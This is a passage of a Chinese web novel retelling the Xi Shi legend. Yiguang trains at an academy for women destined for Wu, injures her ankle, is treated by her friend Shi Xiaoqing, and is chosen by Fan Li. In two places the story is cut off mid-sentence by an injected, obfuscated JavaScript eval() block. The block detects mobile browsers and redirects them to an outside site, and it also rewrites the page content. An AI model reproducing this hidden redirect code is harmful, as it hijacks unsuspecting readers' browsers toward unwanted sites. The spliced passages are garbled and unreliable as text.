“施姑娘,”吴嬷嬷的声音低下去,“教习坊不是普通的地方。这里的女子,将来是要送去吴国的。她们不能有牵挂,不能有软肋,不能有任何让人可以利用的东西。你明白吗?” “我明白。”施晓青抬起头,看着吴嬷嬷,“可我也不能假装不认识她。她是我的朋友。我不会做任何让她陷入危险的事,但我也不能假装她不存在。” 吴嬷嬷看着她,目光里的复杂又深了几分:“你倒是个倔脾气的。罢了,我不管你们的事。只要不惹麻烦,我就当不知道。” “多谢吴嬷嬷。” 施晓青上了马车,靠在车壁上,闭着眼。 马车驶出教习坊,驶过内城的街道,穿过城门,回到城南。 她一直闭着眼,脑子里全是当时的场景。 她们对望了多久?几秒?还是几分钟? 那几秒或者几分钟,是她来会稽城后,最长的瞬间。 马车在悬壶堂门口停下。 施晓青下了车,推开门,走进铺子。 一切都照旧,药柜、柜台、药杵、药臼,还有那股淡淡的、清苦的草药香。 她站在柜台后面,看着那些熟悉的一切,忽然蹲了下去,把脸埋进膝盖里,无声地哭了出来。 她见到了夷光,她终于见到了夷光。 夷光也看见了她。 她们都看见了彼此,她们都知道,对方就在这里,在这个城市的某个角落,活着,坚持着,没有放弃。 她哭到蹲在柜台后面差点站不起来。 缓过劲后,她拿起炭笔,在桑树皮上写下: “五月的最后一天,我见到了夷光。她瘦了,但还好。她看见我了。她知道我在这里。” 她放下炭笔,吹熄油灯。 外面的雨还在下,细细密密的,像在轻声说着什么。 …… 25. 气氛不妙 教习坊的毒,查了七日,没查出来。 吴嬷嬷报了内城司,来了几个穿皂衣的吏员,把厨房翻了个底朝天,问了十几个仆从,最后只留下一句“疑是误食不洁之物”,便没了下文。 那几个中毒的女子渐渐好了,枇杷的事也渐渐没人提了,仿佛只是一场意外,过去了就过去了。 可夷光知道,不是意外。 因为她看见了。 那天午后,她正在廊下练舞,一个面生的丫鬟提着一篮枇杷从她身边经过。 那丫鬟低着头,脚步匆匆,像是急着去哪里。 夷光本没在意,可那丫鬟经过她身边时,袖子被风掀起一角,露出手腕上一道长长的、暗红色的疤痕。 那道疤,夷光见过,一个月前,她在教习坊的后院,看见一个洗衣的婆子打一个小丫鬟,那丫鬟跪在地上,用手挡着脸,袖子滑下去,露出手腕上一道新伤。 那丫鬟哭着求饶,说:“我再也不敢了。” 婆子骂她:“手脚不干净,偷东西偷到主子头上了。” 后来那丫鬟被调走了,不知去了哪里。 如今,那个手腕上有疤的丫鬟,提着枇杷,出现在教习坊。 夷光没有声张。她只是在那个丫鬟经过时,多看了一眼,记住了她的脸,记住了她走的方向。 然后她接着练舞,像什么都没看见。 那天夜里,中毒的事就发生了。 夷光躺在床上,睁着眼,听着隔壁屋里传来的呕吐声和呻吟声,心里像浸了冰水。 那个丫鬟…那篮枇杷……不是意外。是有人要害人。 要害谁?但不管要害谁,教习坊都不安全了。 她没有告诉任何人。她没有任何证据,只是看见了一个不该出现的人。说出来,没有人会信,反而会惹祸上身。 她只能把这件事藏在心里,像藏着一块烧红的炭,烫得她睡不着觉。 又过了几日,教习坊里开始有了些闲话。 “听说了吗?那个施夷光,跟外头有来往。” “真的假的?” “真的,有人看见她让一个打扫的杂役带东西出去。” “带什么?” “谁知道呢,肯定不是什么好东西。” 夷光不知道这些闲话是从哪里传出来的。 但肯定有人在针对她。 是那个手腕上有疤的丫鬟?还是别的什么人?她必须要更小心,更谨慎,不能露出任何破绽。 她找到阿福,告诉他,暂时不要再带东西进来了。阿福看了她一眼,点了点头,没有多问。 那之后,夷光和阿青之间的联系,暂时断了。 * 六月初,教习坊来了一位新的教习嬷嬷。 新嬷嬷姓周,四十来岁,面容刻薄,眼神锋利,说话时嘴角总带着一丝若有若无的冷笑。 她负责教仪态,如何走路、如何站立、如何落座、如何行礼…… 这些夷光已经学过了,但周嬷嬷的标准比吴嬷嬷高得多,严得多,甚至到了苛刻的地步。 “腰挺直!肩膀打开!下巴收回去!眼睛看前面!” 周嬷嬷拿着戒尺,在夷光身边转来转去,不时用戒尺敲打她的肩膀、腰背、腿弯,“你是去伺候吴王的,不是去当木头人的!吴王要看的是活色生香的美人,不是僵硬的木偶!” 夷光咬着牙,一遍一遍地练。 从清晨练到日暮,从日暮练到夜深。她的腿肿了,腰酸了,脚底磨出了水泡,走路都一瘸一拐的。 郑旦心疼她,偷偷给她送药膏,帮她揉腿:“夷光,你别太拼了。那个周嬷嬷就是故意刁难你,你别上她的当。” 夷光摇了摇头:“不是刁难。是真的不够好。” 郑旦叹了口气,没有再劝。 * “眼睛是心灵的窗户。吴王那样的人,阅人无数,一眼就能看穿你。你的眼神要柔,要媚,要让人一看就想靠近,但又不能太露骨,太露骨就显得轻浮。” 周嬷嬷站在夷光面前,盯着她的眼睛,“你试试看,用眼神勾住我。” 夷光抬起头,看着周嬷嬷,她试着让自己的眼神变得柔和,嘴角微微上扬,目光含着一丝若有若无的笑意。 周嬷嬷看着她的眼睛,沉默了片刻,忽然冷笑了一声。 “不对。你这眼神,太干净了。干净得像山里的溪水,一眼就能看到底。吴王不需要干净,他要的是猜不透、摸不着、让人心痒难耐的东西。 你要学会藏。把你的心思藏起来,把你的情绪藏起来,把你的真实面目藏起来。让吴王猜,让他想,让他欲罢不能。” 夷光低下头,没有说话。 藏……她已经在藏了,藏了太久,久到有时候自己都忘了自己本来的样子。 可周嬷嬷说不够,藏得不够深,不够彻底,不够让吴王“欲罢不能”。她不知道自己还能不能再藏下去。 那天夜里,夷光没有睡,她坐在窗边,看着窗外的月亮。 阿青教她藏,是让她保护自己。 周嬷嬷教她藏,是让她去骗人。 同样的“藏”,不同的目的,她不知道哪个是对的,哪个是错的。 她有点累了…… * 教习坊。 窗外天色暗沉,夷光端着一碗热粥走进屋来。 郑旦坐在窗边,膝盖蜷在胸前,下巴抵着膝头,眼睛望着院子里那堵最高的粉墙出神。 夷光把粥放在桌上,轻声唤她: “郑旦。” 郑旦没动。 夷光走过去,在她身边坐下来,伸手碰了碰她的胳膊。郑旦像是被烫了一下,猛地转过头来,待看清是夷光,眼神才慢慢缓下来。 “你怎么不点灯?”夷光说着,起身去点了油灯,昏黄的光晕开,照亮了郑旦的脸。 那张平日里总是带着几分倔强和生动的脸,如今像蒙了一层灰。 夷光重新坐下来,沉默了一会儿,开口道:“阿瑶的事,你听说了吧。” 郑旦的目光落在桌沿上,声音很轻: “整个教习坊都知道了。” “她真的……半夜翻墙?” “嗯。” 郑旦垂着眼,“她爬上了后院那道最高的墙。都快要跳下去了,被巡逻的守卫看见了。” 夷光的手指微微收紧,攥住了膝上的裙摆:“她不要命了。” “她说她想家。”郑旦的声音忽然有些发紧,“说她母亲病了,她想回去看一眼。” 夷光没说话。 教习坊里的女子,哪一个不想家?哪一个没有在夜里蒙着被子哭过? 可是没有人敢说出来,更没有人敢真的去爬那道墙。 “守卫把她从墙上拽下来,”郑旦继续说,语速很慢,像是在讲一个与自己无关的故事,“扭送到吴嬷嬷面前。阿瑶跪在地上哭,哭得浑身发抖,说她错了,说她只是想回去看看她娘。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486900|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夷光闭上眼睛。 “吴嬷嬷铁青着脸,让人把她关进柴房,等着上面发落。” 郑旦的声音低下去,几乎变成了耳语,“第二天,来了几个穿皂衣的人。” 夷光睁开眼,看着郑旦。 郑旦也看着她。 两个人的目光在昏暗的光线里碰在一起,谁都没有说话,可谁都从对方眼里看到了同一样东西。 半晌,夷光轻声问:“没有人知道她去了哪里?” 郑旦摇了摇头,头发摩擦着肩头的衣衫,发出细碎的声响。 “没有人知道。”她说,“也没有人敢问。” 油灯的火苗轻轻跳了一下,墙上的影子晃了晃。 夷光侧过头,看着窗外。 天已经彻底黑下来了,院子里什么也看不清,只有那堵粉墙的轮廓还隐隐约约立在那里,比夜色更深一些。 “那天之后,”郑旦忽然开口,“你有没有觉得,教习坊不太一样了?” 夷光想了想,说:“所有人都更沉默了。” “更小心了。” “更不敢说话了。” 两个人又沉默下去。 这些话不需要说出口,每个人心里都清楚。走在廊下,脚步放轻了;在课室里说话,声音压低了;就连吃饭时碗筷碰撞的声响,似乎都比从前小心了许多。 夷光忽然说:“你也变了。” 郑旦怔了一下:“我?” “你以前很爱笑的。”夷光看着她,“现在你总是坐在这里,看着外面的天,一发呆就是大半天。我问你怎么了,你总说没事。” 郑旦嘴唇动了动,像是想否认,可话到嘴边又咽了回去。她低下头,手指无意识地在膝上画着什么。 “阿瑶被带走的那天,”郑旦终于说,声音有些哑,“我看见了她的脸。” 夷光屏住了呼吸。 “她被那两个皂衣人架着往外走,经过廊下的时候,她回过头来看了我一眼。” 郑旦抬起手,捂住了自己的眼睛,“夷光,她的眼睛里什么都没有。不是不怕,不是怕,就是……什么都没有了。像一个已经被掏空了的人。” 夷光伸出手,覆上郑旦冰凉的手背。 “我看着那道门关上,”郑旦的声音从手掌后面传出来,闷闷的,“忽然就觉得,那道门关上的声音,不是关住阿瑶一个人的。” 夷光的手紧了紧。 “我知道。” 郑旦慢慢放下手,眼眶是红的,但没有流泪。她转过头,重新看向窗外那堵墙的方向,目光落在一个很远很远的地方。 “夷光,你说,下一个会是谁?” 夷光没有回答。 屋子里安静极了,只有油灯偶尔发出细微的“噼啪”声。夜风从窗缝里挤进来,灯焰歪了歪,又站直了。 过了很久,夷光端起那碗已经凉了的粥,站起身来说:“粥凉了,我去热一热。” 她走到门口,停了一下,没有回头,只是轻声说了一句话,声音轻得像是怕惊动了什么。 “郑旦,别再坐在这里看天了。那道墙,看再久也看不穿的。” 身后没有回应。夷光拉开门,走了出去。 廊下的风吹过来,带着六月末闷热潮湿的气息。 她端着粥碗站了一会儿,抬头看了看天。天上没有星星,黑沉沉的一片,像一口倒扣的锅,把教习坊严严实实地罩在底下。 她低下头,快步往厨房走去。 26. 扭伤了 七月初,周嬷嬷站在廊下,把所有人都叫到了一起。 “都听好了。”周嬷嬷的声音不大,但每个人都听得清清楚楚,“下个月,范大夫会来教习坊视察。你们每个人都要表演一段才艺,歌舞、器乐、诗词、书法,什么都行。范大夫会从中挑选最出色的几个,送去吴国。” 话音落下,院子里安静了一瞬。 然后,嗡嗡的议论声像潮水一样涌起来。 “送去吴国……” “真的吗?去吴国?” “听说是去吴国的王宫……” 有人兴奋,有人恐惧,有人茫然,有人暗暗攥紧了拳头。 夷光站在人群中间,听着周围的声音,脸上什么表情都没有。她自己都觉得心里意外地平静。 该来的,终于来了。 夜里,夷光被一阵压抑的哭声惊醒了。 她侧过头,看见旁边的被窝在微微发抖。郑旦把被子蒙在头上,捂着嘴,哭得浑身都在颤抖。 夷光伸出手,揽住了郑旦的肩膀。她没有说话,只是轻轻地、一下一下地拍着。 哭了很久,郑旦的声音从被子里传出来,闷闷的,带着哭腔。 “夷光。” “嗯。” “你说,我们会死在那里吗?” 夷光沉默了一会儿。窗外的月光透过窗纸,在地上投下一片模糊的白。 “不会。” 她说,声音很轻,但很坚定,“我们会活着。活着回来。” 郑旦没有再说话,只是哭得更厉害了。 * 练舞房。 夷光从一个旋转的动作中落地时,脚踝一歪,整个人重重地摔在了地上。 “砰”的一声,所有人都停下了动作。 郑旦第一个冲过来,跪在地上扶她。 “夷光!你怎么样?” 夷光咬着牙,试着站起来。左腿刚一用力,一阵剧烈的疼痛从脚踝窜上来,她倒吸一口凉气,又跌坐回去。 她低头一看,脚踝已经肿了。青紫色的,像一块发霉的馒头。 周嬷嬷走过来,站在她面前,低头看了看她的脚踝。 “能站起来吗?” 夷光咬着牙,又试了一次。 疼。站不起来。 周嬷嬷皱了皱眉,转身吩咐身边的人:“去请大夫。把她扶回屋去。” 郑旦和另一个女子一左一右架着夷光,把她扶回了屋子。 大夫来得很快。他捏了捏夷光的脚踝,又让她试着动了动脚趾,最后放下她的手,摇了摇头。 “没有伤到骨头,是扭伤。”大夫说,“但要静养。至少半个月不能下地。” 郑旦急了:“半个月?下个月范大夫就要来了!她还要表演呢!” 大夫看了她一眼,没有说话。那个眼神很清楚——那是你们的事,我管不了。 大夫走后,郑旦在屋子里转来转去,急得团团转。 “怎么办?怎么办?半个月不能下地,你怎么练舞?怎么表演?怎么被选中?怎么去——” 她忽然停住了,没有把那个词说出口。 夷光躺在床上,看着头顶的帐幔,一句话都没有说。 那天夜里,郑旦以为夷光睡着了,她轻手轻脚地吹了灯,回到自己的床上。 黑暗中,夷光从枕下摸出一个小布包。她把它打开,里面是一些碎得几乎成了粉末的薄荷叶,散发着淡淡的、几乎闻不到的香气。 她把布包贴在胸口,闭上了眼睛。 * 三天过去,夷光的脚踝还是没有好转。肿胀消了一些,但还是疼,还是不能下地。 郑旦每天帮她揉腿、敷药、端饭,忙前忙后,自己都瘦了一圈。 夷光看着她端着粥碗走进来,脸上的疲惫遮都遮不住。 “郑旦,你别忙了。坐下歇会儿。” “我不累。”郑旦把粥放在床头,在床边坐下来,“你先把饭吃了。吃了饭才有力气养伤。” 夷光端起碗,喝了一口。粥很稀,没什么味道。她还是一口一口地喝完了。 喝完粥,她把碗放下,看着郑旦。 “郑旦。” “嗯?” “如果我不能去吴国了,你会不会怪我?” 郑旦愣了一下:“怪你什么?” “怪我不能陪你。” 郑旦的眼眶一下子红了:“你胡说什么呢。你一定会好的。下个月之前,一定会好的。” 夷光笑了笑,没有再说话。 * 又过了几天,吴嬷嬷来了。 她坐在床边,看着夷光肿着的脚踝,沉默了很久。 “周嬷嬷说,你下个月可能参加不了视察了。” “我会好的。”夷光说,“下个月之前,我一定会好的。” 吴嬷嬷看着她,目光里有一种说不清的东西。 “夷光,你知道,如果这次不能被选中,你会被送到哪里去吗?” 夷光摇了摇头。 “会被送到宫里去,做宫女。”吴嬷嬷的声音不高不低,像是在说一件很平常的事,“不过……不是去吴国。是在越国的王宫里,做最下等的杂役。一辈子,都出不来了。” 夷光的手猛地攥紧了被角。 她的脸上没有表情,但攥着被角的指节,白得像骨头。 吴嬷嬷看了她一眼,叹了口气,起身走了。 走到门口,她停了一下,没有回头。 “好好养伤吧。” 门关上了。 夷光躺了很久。然后她慢慢地、慢慢地把被子拉上来,盖住了自己的脸。 夷光失眠了,她睁着眼睛,看着头顶的帐幔,一遍又一遍地想着吴嬷嬷的话。 做宫女。最下等的杂役。一辈子都出不来。 她不能……她不能被困在这里。 她要出去……要去吴国,要完成她该做的事,然后回来。 她必须好起来。必须。 * 第二天一早。 “郑旦。” “嗯?” 郑旦正在帮她换药,抬起头来看她。 “帮我找几样东西。” “什么东西?” “干净的布。热水。盐。还有一瓶药酒。” 郑旦愣了一下:“你要干什么?” “帮我找来就是了。” 郑旦虽然满腹疑惑,还是依言找来了。 夷光让郑旦把药酒倒在手心里,搓热,然后敷在她的脚踝上。 “用力揉。” 郑旦犹豫了一下,开始揉。 疼。 夷光咬着嘴唇,额头上冒出细密的汗珠。但她没有喊停。 “用力。”她说。 “你疯了!”郑旦的手在发抖,“你这么揉,腿会废的!” “不会。我的腿,不会废。” 郑旦的眼眶红了,但她没有再说什么。她低下头,继续揉。 夷光的嘴唇咬破了。铁锈一样的血腥味在舌尖上蔓延开来。 “继续。” 郑旦哭着揉,一边揉一边骂她。 “你这个疯子!你这个傻子!你不要命了!” 夷光没有回答。 她只是咬着牙,一声不吭地忍着。 揉了整整一个时辰。 郑旦的手酸得抬不起来了。夷光的脚踝肿得更厉害了,但那种胀痛的感觉,好像有了一些变化。 郑旦跑出去找大夫。 大夫来了,看了看她的脚踝,摇了摇头。 “姑娘,你这样不行。伤筋动骨一百天,你这样硬来,只会加重伤势。” 夷光没有说话。 大夫走后,她让郑旦用盐水和热水交替敷。敷了又揉,揉了又敷。 郑旦拦不住她,也劝不动她,只能红着眼睛陪着她。 因为她没有时间了。 下个月,范大夫就要来了。 她必须在那个时候站起来。 站在所有人面前。 跳舞、微笑、被选中。 她不能让任何人看到她受伤的样子。不能让人看到她脆弱的样子。 * 悬壶堂。 施晓青坐在柜台后面,手里攥着一根麻绳带子。带子已经很长了,长到可以在手腕上绕好几圈。 她的指节因为用力而发白。 快一个月了……快一个月没有收到夷光的消息了。 阿福来过几次。 每次来,她都问他:“夷光怎么样了?” 阿福每次都摇头,说:“那位姑娘说,暂时不要送了”。 她问他:“她还好吗?” 阿福想了想,说:“还好。” 但他的眼神躲闪,不敢看她的眼睛。 施晓青知道,他在撒谎。 夷光出事了。 夷光一定出事了,不然不会断了联系。不然阿福不会不敢看她的眼睛。 她想进内城,想去教习坊,想去看夷光……可她进不去。 没有夫人召见,没有陆管事的邀请,她进不去…… 她只能等。 等夫人来……等素心来……等任何一个能带她进去的人来。 可没有人来。 她已经等了很久了。 久到她的耐心快要被磨光了。 她低下头,看着手里的麻绳带子,又开始编下一扣。 再等等……再等等……就会有消息的,再等等……就能见到夷光。 这句话她对自己说了很多遍了。 说得她自己都快不信了。 “施大夫。” 施晓青抬起头。 门口站着一个人。 她愣了一下。 “陆管事?” 陆管事穿着便服,带着一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486901|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厮,大步走进来。 “施姑娘,你那个在教习坊的朋友,是不是叫施夷光?” 施晓青的心猛地一沉。 “是。她怎么了?” “她受伤了。脚扭了,挺严重的。坊里的大夫看了,说至少要养一个月。” 陆管事的声音压得很低,“可下个月初,范大夫就要来视察了。她若是不能参加,就会被送到王宫里做宫女,一辈子出不来。” 施晓青的手攥紧了柜台。 “我能进去吗?” “能。”陆管事说,“夫人已经安排好了。你以大夫的身份进去,给教习坊的女子们检查身体。不会有人起疑。” “什么时候?” “现在。” 施晓青转身走进后院,提起药箱,从药柜里多拿了几味药。又从柜子深处拿出一小罐自己熬的跌打膏,用五倍子、大黄、半夏、赤芍加上醋调成的那种。 她把东西一样一样放进药箱,手很稳。 “走吧。”她说。 * 马车再次驶入内城。 施晓青靠在车壁上,手里攥着药箱的把手。 她在心里一遍一遍地告诉自己:不要慌……不能慌……你是大夫,你是来给人看病的,你不能让人看出你和夷光认识,不能让人起疑。 可她的手还是忍不住发抖。 马车在教习坊门口停下。 施晓青跟着陆管事走进去。穿过游廊,穿过月洞门,来到夷光住的那个院子。 一个女子站在门口。她穿着浅青色的衣裳,头发简单地挽着,脸上带着明显的疲惫和担忧。 她看见施晓青,愣了一下。 “你是……” “我是大夫。”施晓青说,声音平静得连她自己都觉得陌生,“来看看施姑娘的腿。” 郑旦上下打量了她一眼,又看了看她身后的陆管事,侧身让开了。 “进来吧。” 屋子里很暗。 窗户关着,空气里弥漫着药味和一种沉闷的、让人喘不过气的气息。 夷光躺在床上。 她的左腿搁在被子上,脚踝裹着厚厚的布条。她的脸色苍白,眼下青黑,整个人瘦了一圈。 施晓青的鼻子猛地一酸,她深吸一口气,把那酸意压了下去。 她走过去,在床边坐下。 “施姑娘,”她说,声音很平稳,“我是大夫,来看看你的腿。” 夷光抬起头。 四目相对。 那一瞬间,施晓青看见夷光的眼眶红了,嘴唇在颤抖,眼泪在眼眶里打转,却始终没有落下来。 施晓青的眼睛也红了,但她没有哭。 她只是看着夷光,用尽全力地看着她。 像是在说——我来了。别怕。我来了。 然后她低下头,开始解夷光脚踝上的布条。 布条缠得很紧,一层一层,缠了不知道多少层,她慢慢地解开,每解开一层,心就沉一分。 布条下面,脚踝肿得像馒头,青紫色的,皮肤发亮,像是随时会裂开。 “怎么弄的?”她轻声问。 “练舞的时候摔的。”夷光的声音也很轻,轻得像一阵风就能吹散。 施晓青伸手轻轻按了按脚踝的肿胀处,感觉到皮下有硬块。是淤血。 还好,没有伤到骨头,但软组织损伤很严重。若不好好处理,确实会影响行走。 她从药箱里拿出那罐跌打膏,挖了一块,在手心里搓热。 然后敷在夷光的脚踝上,轻轻地、慢慢地、揉…… 她能感觉到夷光的腿在发抖,能听到她压抑的、极轻极轻的抽气声,但夷光没有喊停,也没有躲。 她只是咬着嘴唇,任由施晓青揉。 揉了大约一刻钟。 施晓青停下来,用干净的布条把脚踝重新包好。这一次,她没有缠得太紧,留了一些空间,让血液循环畅通。 “每天早晚各揉一次,用这个膏。”她把那罐跌打膏放在床头,“不能偷懒,也不能太用力。揉完用布条包好,不要太紧。这个留给你。不够了,再让人来找我。” 夷光点了点头。 施晓青站起来,开始收拾药箱,她知道自己该走了,不能待太久。 可她想留下来陪着夷光,想跟她说说话。告诉她,不要怕,一切都会好的。 “施大夫。” 夷光的声音从身后传来。 “谢谢你。” 施晓青低下头,看着夷光。 夷光的眼睛里有泪光,看着让人心疼。 “不用谢。”她说,“好好养伤。下个月之前,你一定能站起来。” 她转身走了,走出房门,走出院子,走出教习坊。 走进马车。 车帘放下的那一刻,她的眼泪终于落了下来。 她没有擦,任由它们流。 流了一路…… 27. 入选了 那罐跌打膏,夷光用了五日。 每日早晚,她坐在床上,把膏药挖出来,在手心里搓热,然后敷上脚踝,慢慢地揉。 每一次都疼到额头冒汗,疼到牙关紧咬,疼到手指发颤。 这罐膏药是阿青亲手熬的,每一味药都是阿青亲手挑的,每一道工序都是阿青亲手做的。 这里面有阿青的心血,有阿青的盼望,有阿青隔着高墙递过来的、滚烫的、不肯熄灭的信念。 她不能辜负。 郑旦每天帮她换药、揉腿、端饭,嘴里念叨个不停。 “这个大夫还真有些本事,这才几天,肿就消了不少。你看,都能看见脚踝骨了。” 夷光低头看着自己的脚踝,青紫色褪成了青黄色,肿胀消了大半,虽然还是疼,但已经能轻轻转动了。 “郑旦,扶我起来。” “你疯了?大夫说要静养!” “我知道。但我不能一直躺着。” 夷光撑着床沿,试着慢慢坐起来。 左腿不敢用力,她用右腿撑着身体,郑旦在旁边扶着,急得直跺脚。 好不容易坐稳了,夷光喘了口气,试着把左脚放在地上,脚尖刚沾地,一阵刺痛从脚踝窜上来,疼得她倒吸一口凉气。 “你看你看,我说了不能动!”郑旦把她按回床上,“你要是把腿弄废了,下个月怎么跳舞?” 夷光靠在枕头上,闭着眼,平复着呼吸。 郑旦说得对,她不能急,不能乱来。 她必须在下个月之前站起来。 “郑旦,帮我弄点热水来。”她说,“烫一点的。” “要热水做什么?” “泡脚。活血化瘀。” 郑旦虽然嘴上念叨,还是去打了热水来。 夷光把左脚慢慢浸入水中,热水漫过脚踝,烫得她打了个激灵。 她咬着牙,把脚泡在水里,一动不动。泡了一刻钟,水凉了,她让郑旦再加热水,再泡。如此反复了三次,脚踝的僵硬感缓解了不少。 “每天帮我泡三次。”她说,“早晚各一次,中午一次。” “你这到底是大夫教的,还是自己想的?”郑旦好奇地问。 夷光笑了笑:“自己想的。” 这些法子,都是阿青教她的。 阿青说过,扭伤之后,先冷敷止血,后热敷活血。没有冰,就用凉水;没有热水袋,就用热水泡。办法总比困难多。 阿青说的每一句话,她都记着。 * 会稽城进入了最热的时节。 太阳像一个大火炉,从早到晚地烤着,把地面晒得发烫,把空气晒得发黏。 教习坊的院子里,蝉鸣声此起彼伏,吵得人心烦意乱。 夷光已经能下地了。 虽然还走不快,虽然还微微有些跛,但至少不需要人扶了。 她每天扶著走廊的栏杆,慢慢地走,一圈,两圈,三圈。走到腿酸了,就坐下来歇一会儿,然后继续走。 周嬷嬷来过一次,看了看她的脚踝,面无表情地说:“能走了?那就继续练舞。视察之前,你必须把落下的进度补回来。” “是。”夷光低头应道。 郑旦气得不行,等周嬷嬷走了,在屋里骂了一通。 “她有没有良心?你的腿还没好利索,就让你练舞?万一再摔了怎么办?” “不会的。”夷光说,“我会小心的。” 她没有选择。 周嬷嬷说得对,视察之前,她必须把落下的进度补回来。 为了不被送去当宫女,为了不困在越国王宫深处,为了能完成该做的事,然后回来……找阿青。 八月初一,教习坊开始为视察做最后的准备。 所有女子都被集中到正院的大厅里,逐个演练各自的才艺。有人跳舞,有人唱歌,有人弹琴,有人写字。吴嬷嬷和周嬷嬷坐在一旁,一个一个地看,一个一个地打分,一个一个地淘汰。 夷光排在倒数第三个。 她坐在廊下等待,手心全是汗。 脚踝还隐隐作痛,但她已经顾不上了。 她闭上眼,在心里默念着舞步,每一个动作都反复演练了无数遍,刻在脑子里,刻在肌肉里,刻在骨头里。 “施夷光。” 轮到她了。 她站起来,走进大厅,站在中间。 吴嬷嬷和周嬷嬷看着她,周围是其他女子的目光,好奇的、紧张的、还有带着隐隐的敌意的。 音乐响起。 她开始跳舞。 那是一支她自己编的舞,用的是越地民间的曲调,动作简单,但每一个转身、每一个抬手、每一个眼神,都经过反复打磨。 考虑到伤没好,她跳得很慢。 但慢有慢的好处——每一个动作都更清晰,每一个表情都更分明,每一个眼神都更能被人记住。 她跳完站在原地,微微喘着气,脚踝传来一阵阵刺痛,但她站得很稳,没有晃,没有倒。 吴嬷嬷沉默了片刻,点了点头。 “不错。下去吧。” 周嬷嬷没有说话,只是看了她一眼,目光里有些什么复杂的情绪。 夷光行了一礼,慢慢走了出去。 走出大厅的那一刻,她的腿一软,差点摔倒。郑旦冲过来扶住她,眼眶红红的。 “你跳得太好了!我就知道你可以的!” 夷光靠在她肩上,闭着眼,嘴角带着一丝极淡的笑。 她做到了!她站起来跳完了。 不管结果如何,她至少没有放弃。 * 八月初五,范大夫视察的日子。 教习坊从清晨就开始忙碌。 丫鬟们洒扫庭院,布置厅堂,准备茶点。 女子们换上了最好的衣裳,梳了最精致的发髻,画了最得体的妆容。每个人都在紧张地等待着,像等待一场审判。 夷光站在窗边,看着外面的天。 天很蓝,没有一丝云,阳光明晃晃地照在院子里,照在那些花木上,照在那些来来往往的丫鬟身上。 她穿着一身浅绿色的衣裙,头发简单地绾着,没有戴任何首饰。 吴嬷嬷说,第一次见范大夫,不要打扮得太刻意,越自然越好。 她信吴嬷嬷。 “夷光,你紧张吗?”郑旦站在她旁边,手里攥着一块帕子,帕子已经被她揉得皱巴巴的。 “不紧张。” 该做的,她都做了。该准备的,她都准备了。剩下的,不是她能左右的。她只需要站在那里,做她自己。 巳时三刻,范大夫来了。 他穿着一身深色的官袍,比在山里遇到时更显清瘦,但眉宇间的锐利不减。 他的目光扫过大厅,扫过那些低眉顺眼的女子,最后落在夷光身上,停了一瞬。 女子们依次表演。 夷光排在中间,不早不晚。 她走上去,行礼,然后开始,还是那支舞,还是那个曲调,还是那些动作。 但这一次,她跳得比上次更好,更稳,更从容。脚踝还是会疼,但她已经学会了忽略疼痛。 跳完之后,她站在原地,微微低着头,等着范大夫的评判。 范大夫沉默了很久:“这支舞,是你自己编的?” “是。”夷光说。 “为什么选这个曲子?” “因为这是越地的曲子。”夷光抬起头,迎上范大夫的目光,“民女是越人。无论去到哪里,都不能忘了自己从哪里来。” 大厅里安静了一瞬。 吴嬷嬷的嘴角微微动了一下,像是想笑,又忍住了。周嬷嬷面无表情,但她的目光在夷光身上停了好几秒。 范大夫看着她,目光里的锐利渐渐化开,带着几分欣赏。 “很好。你留下。其他人,退下 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范大夫转过身,看着她:“我知道。所以我没有阻止她。但你要记住,去吴国之后,你不能再跟她有任何联系。吴王的人无孔不入,若是被发现你跟越国的人有来往,你会死。” 夷光的手攥得更紧了:“我知道。” “你真的知道吗?”范大夫走回来,站在她面前,目光直视着她,“去吴国,不是去玩。你的一言一行,一举一动,都关系着越国的存亡。 你不能再有牵挂,不能再有软肋,不能再有任何让人可以利用的东西。你的朋友,你的家人,你的过去——都必须放下。” 夷光:真的能做到吗…… “我能做到。”她说。 范大夫看着她,目光里的复杂又深了几分。 “好。那你回去准备吧。下个月初,会有人来接你。” 夷光行了一礼,转身走了出去。 走出大厅的那一刻,她的眼泪终于落了下来。她快步走进旁边的巷子,靠在墙上,捂著嘴,无声地哭了一场。 放下阿青。放下阿母。放下苎萝村。 她放不下。她一样都放不下。 可她必须放。因为她没有选择。 那天傍晚,施晓青正在铺子里给人看诊,阿福来了。 他没有带东西,只是口头转述了一句话。 “那位姑娘说,她被选中了。下个月,就要去吴国了。她还说,让你别担心她,她会好好的。让你也好好照顾自己,别太累了。” 施晓青手里的药杵掉在了柜台上,发出一声沉闷的响。 下个月。去吴国。 她一直知道这一天会来,可当它真的来了,她还是觉得太快了。快到她还没有做好准备,快到她还来不及跟夷光多说几句话。 她低下头,看着柜台上的药杵,看着那些散落的药渣,看着自己沾满药渍的手指。 “她——”她的声音有些哑,“她还好吗?” “还好。”阿福说,“只是……瘦了。” 施晓青点了点头,从柜台里拿出几个铜板,塞到阿福手里。 “谢谢你。以后……以后不用再送了。” 阿福看着手里的铜板,又看了看她,欲言又止,最终还是没说什么,转身走了。 那天夜里,施晓青没有编带子。 她坐在小厢房的床边,把那根已经编得很长的麻绳带子摊在膝上,用手指一寸一寸地摸过去。 夷光要走了。去吴国,去一个很远很远的地方。她不能跟去,不能送她,不能在她身边。 她只能在这里,在会稽城,在悬壶堂,等她。 窗外月色很好,照在枇杷树的叶子上,泛着银白色的光。 